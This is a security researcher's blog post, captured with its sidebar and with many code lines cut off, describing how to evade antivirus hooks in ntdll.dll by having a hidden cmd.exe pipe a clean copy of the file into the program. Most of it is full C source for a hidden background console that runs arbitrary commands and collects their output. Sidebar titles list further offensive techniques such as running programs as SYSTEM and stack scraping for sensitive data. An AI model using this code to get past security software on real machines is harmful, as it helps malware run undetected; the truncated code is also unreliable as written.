x86matthew Twitter: @x86matthew E-Mail: x86matthew@gmail.com

NtdllPipe - Using cmd.exe to retrieve a clean version of ntdll.dll

Posted: **04/03/2022**

I was recently using a computer that had AV software installed which injected user-mode hooks into various functions within `ntdll.dll`. I'm out of touch with how modern AV software operates, so I decided to see how easy this was to overcome.

The most obvious method would be to read `ntdll.dll` from the disk using `CreateFile` and `ReadFile`, but this triggers the AV heuristics engine as suspected.

My next idea was to use a trusted Microsoft executable to do the job for me - one candidate being `cmd.exe`.

I used `CreateProcess` to create a hidden `cmd.exe` process with `stdin` redirected to a custom named pipe within my program. I also created a separate named pipe for the `ntdll.dll` output contents. Using `WriteFile` to send `type %windir%\\system32\\ntdll.dll > \\.\pipe\ntdll_output_pipe` to the custom `stdin` pipe then writes the contents of `ntdll.dll` to my output pipe, which I read and store in a buffer. This simple method didn't trigger any AV warnings.

This could be simplified slightly by removing the `stdin` redirection and launching `cmd.exe` with the `type` command in the initial parameters (`cmd.exe /c type %windir%\\system32\\ntdll.dll > \\.\pipe\ntdll_output_pipe`), but this would appear more suspicious.

I have cleaned up the code so that it can easily be used to read the output contents of any command.

Full code below:

```
#include <stdio.h>
#include <windows.h>

struct BackgroundConsoleInstanceStruct
{
	char szInstanceName[128];
	HANDLE hConsoleProcess;
	HANDLE hConsoleInputPipe;
};

struct CommandOutput_StoreDataParamStruct
{
	BYTE *pOutputPtr;
	DWORD dwMaxOutputSize;
	DWORD dwTotalSize;
};

DWORD BackgroundConsole_Create(char *pInstanceName, BackgroundConsoleInstanceStruct *p
```

Using cmd.exe to retrieve a clean version of ntdll.dll

01/03/2022 - NTSockets - Downloading a file via HTTP using the NtCreateFile and NtDeviceIoControlFile syscalls

25/02/2022 - LogNT32 - Part 2 - Return-address hijacking implemented to improve efficiency

23/02/2022 - LogNT32 - Trace all ntdll function calls without a pre-defined list of headers

10/02/2022 - WindowsNoExec - Abusing existing instructions to executing arbitrary code without allocating executable memory

08/02/2022 - StackScraper - Capturing sensitive data using real-time stack scanning against a remote process

06/02/2022 - HijackFileHandle - Hijack a file in a remote process without code injection

04/02/2022 - CreateSvcRpc - A custom RPC client to execute programs as the SYSTEM user

04/02/2022 - EmbedExeLnk - Embedding an EXE inside a LNK with automatic execution

04/02/2022 - CallRemoteAPI - Call functions in remote processes

02/02/2022 - Reading and writing remote process data without using ReadProcessMemory / WriteProcessMemory

01/02/2022 - System-wide anti-debug technique using NtQuerySystemInformation and DuplicateHandle

```
{
        PROCESS_INFORMATION ProcessInfo;
        STARTUPINFO StartupInfo;
        char szConsoleInputPipeName[512];
        char szLaunchCmd[1024];
        BackgroundConsoleInstanceStruct BackgroundConsoleInstance;
        HANDLE hConsoleInputPipe;

        // create console input pipe
        memset(szConsoleInputPipeName, 0, sizeof(szConsoleInputPipeName));
        _snprintf(szConsoleInputPipeName, sizeof(szConsoleInputPipeName) - 1, "\\\\.\\
        hConsoleInputPipe = CreateNamedPipe(szConsoleInputPipeName, PIPE_ACCESS_OUTBOU
        if(hConsoleInputPipe == INVALID_HANDLE_VALUE)
        {
                // error
                return 1;
        }

        // initialise startupinfo
        memset(&StartupInfo, 0, sizeof(StartupInfo));
        StartupInfo.cb = sizeof(StartupInfo);
        StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
        StartupInfo.wShowWindow = SW_HIDE;

        // create launch cmd
        memset(szLaunchCmd, 0, sizeof(szLaunchCmd));
        _snprintf(szLaunchCmd, sizeof(szLaunchCmd) - 1, "cmd /c cmd < %s", szConsoleIn

        // launch cmd.exe
        if(CreateProcess(NULL, szLaunchCmd, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, N
        {
                // error
                CloseHandle(hConsoleInputPipe);
                return 1;
        }

        // close thread handle
        CloseHandle(ProcessInfo.hThread);

        // wait for cmd.exe to connect to input pipe
        if(ConnectNamedPipe(hConsoleInputPipe, NULL) == 0)
        {
                // error
                CloseHandle(hConsoleInputPipe);
                CloseHandle(ProcessInfo.hProcess);
                return 1;
        }

        // store background console entry data
        memset((void*)&BackgroundConsoleInstance, 0, sizeof(BackgroundConsoleInstance)
        strncpy(BackgroundConsoleInstance.szInstanceName, pInstanceName, sizeof(Backgr
        BackgroundConsoleInstance.hConsoleProcess = ProcessInfo.hProcess;
        BackgroundConsoleInstance.hConsoleInputPipe = hConsoleInputPipe;
        memcpy((void*)pBackgroundConsoleInstance, (void*)&BackgroundConsoleInstance, s

        return 0;
}

DWORD BackgroundConsole_Close(BackgroundConsoleInstanceStruct *pBackgroundConsoleInsta
{
```

... - Retrieving the ... EIP in C/C++
A custom SetTcpEntry implementation for IPv6

```
        // close console input pipe
        CloseHandle(pBackgroundConsoleInstance->hConsoleInputPipe);

        // wait for console process to end
        WaitForSingleObject(pBackgroundConsoleInstance->hConsoleProcess, INFINITE);
        CloseHandle(pBackgroundConsoleInstance->hConsoleProcess);

        return 0;
}

DWORD BackgroundConsole_Exec(BackgroundConsoleInstanceStruct *pBackgroundConsoleInstan
{
        char szWriteCommand[2048];
        char szCommandOutputPipeName[512];
        HANDLE hCommandOutputPipe = NULL;
        BYTE bReadBuffer[1024];
        DWORD dwBytesRead = 0;

        // create output pipe
        memset(szCommandOutputPipeName, 0, sizeof(szCommandOutputPipeName));
        _snprintf(szCommandOutputPipeName, sizeof(szCommandOutputPipeName) - 1, "\\\\.
        hCommandOutputPipe = CreateNamedPipe(szCommandOutputPipeName, PIPE_ACCESS_INBO
        if(hCommandOutputPipe == INVALID_HANDLE_VALUE)
        {
                // error
                return 1;
        }

        // write command to console
        memset(szWriteCommand, 0, sizeof(szWriteCommand));
        _snprintf(szWriteCommand, sizeof(szWriteCommand) - 1, "%s > %s\n", pCommand, s
        if(WriteFile(pBackgroundConsoleInstance->hConsoleInputPipe, szWriteCommand, st
        {
                // error
                CloseHandle(hCommandOutputPipe);
                return 1;
        }

        // wait for target to connect to output pipe
        if(ConnectNamedPipe(hCommandOutputPipe, NULL) == 0)
        {
                // error
                CloseHandle(hCommandOutputPipe);
                return 1;
        }

        // get data from output pipe
        for(;;)
        {
                // read data from stdout pipe (ensure the buffer is null terminated in
                memset(bReadBuffer, 0, sizeof(bReadBuffer));
                if(ReadFile(hCommandOutputPipe, bReadBuffer, sizeof(bReadBuffer) -  1,
                {
                        // failed - check error code
                        if(GetLastError() == ERROR_BROKEN_PIPE)
                        {
                                // pipe closed
                                break;
                        }
                        else
                        {
```

```
                        // error
                        CloseHandle(hCommandOutputPipe);
                        return 1;
                }
            }

            // send current buffer to output function
            if(pCommandOutput(bReadBuffer, dwBytesRead, pCommandOutputParam) != 0)
            {
                    // error
                    CloseHandle(hCommandOutputPipe);
                    return 1;
            }
    }

    // close handle
    CloseHandle(hCommandOutputPipe);

    return 0;
}

DWORD CommandOutput_StoreData(BYTE *pBufferData, DWORD dwBufferLength, BYTE *pParam)
{
    CommandOutput_StoreDataParamStruct *pCommandOutput_StoreDataParam = NULL;

    // get param
    pCommandOutput_StoreDataParam = (CommandOutput_StoreDataParamStruct*)pParam;

    // check if an output buffer was specified
    if(pCommandOutput_StoreDataParam->pOutputPtr != NULL)
    {
            // validate length
            if(dwBufferLength > (pCommandOutput_StoreDataParam->dwMaxOutputSize -
            {
                    return 1;
            }

            // copy data
            memcpy((void*)(pCommandOutput_StoreDataParam->pOutputPtr + pCommandOut
    }

    // increase output size
    pCommandOutput_StoreDataParam->dwTotalSize += dwBufferLength;

    return 0;
}

// www.x86matthew.com
int main()
{
    BackgroundConsoleInstanceStruct BackgroundConsoleInstance;
    CommandOutput_StoreDataParamStruct CommandOutput_StoreDataParam;
    BYTE *pNtdllCopy = NULL;
    DWORD dwAllocSize = 0;

    printf("Creating hidden cmd.exe process...\n");

    // create background console
    if(BackgroundConsole_Create("x86matthew", &BackgroundConsoleInstance) != 0)
    {
```

```
                return 1;
        }

        printf("Retrieving ntdll file size...\n");

        // call the function with a blank output buffer to retrieve the file size
        memset((void*)&CommandOutput_StoreDataParam, 0, sizeof(CommandOutput_StoreData
        CommandOutput_StoreDataParam.pOutputPtr = NULL;
        CommandOutput_StoreDataParam.dwMaxOutputSize = 0;
        CommandOutput_StoreDataParam.dwTotalSize = 0;
        if(BackgroundConsole_Exec(&BackgroundConsoleInstance, "type %windir%\\system32
        {
                return 1;
        }

        printf("ntdll.dll file size: %u bytes - allocating memory...\n", CommandOutput

        // allocate memory
        dwAllocSize = CommandOutput_StoreDataParam.dwTotalSize;
        pNtdllCopy = (BYTE*)malloc(dwAllocSize);
        if(pNtdllCopy == NULL)
        {
                return 1;
        }

        printf("Reading ntdll.dll data from disk...\n");

        // call the function again to read the file contents
        memset((void*)&CommandOutput_StoreDataParam, 0, sizeof(CommandOutput_StoreData
        CommandOutput_StoreDataParam.pOutputPtr = pNtdllCopy;
        CommandOutput_StoreDataParam.dwMaxOutputSize = dwAllocSize;
        CommandOutput_StoreDataParam.dwTotalSize = 0;
        if(BackgroundConsole_Exec(&BackgroundConsoleInstance, "type %windir%\\system32
        {
                return 1;
        }

        printf("Read %u bytes successfully\n", CommandOutput_StoreDataParam.dwTotalSiz

        // (pNtdllCopy now contains a copy of ntdll)

        // clean up
        free(pNtdllCopy);
        BackgroundConsole_Close(&BackgroundConsoleInstance);

        return 0;
}
```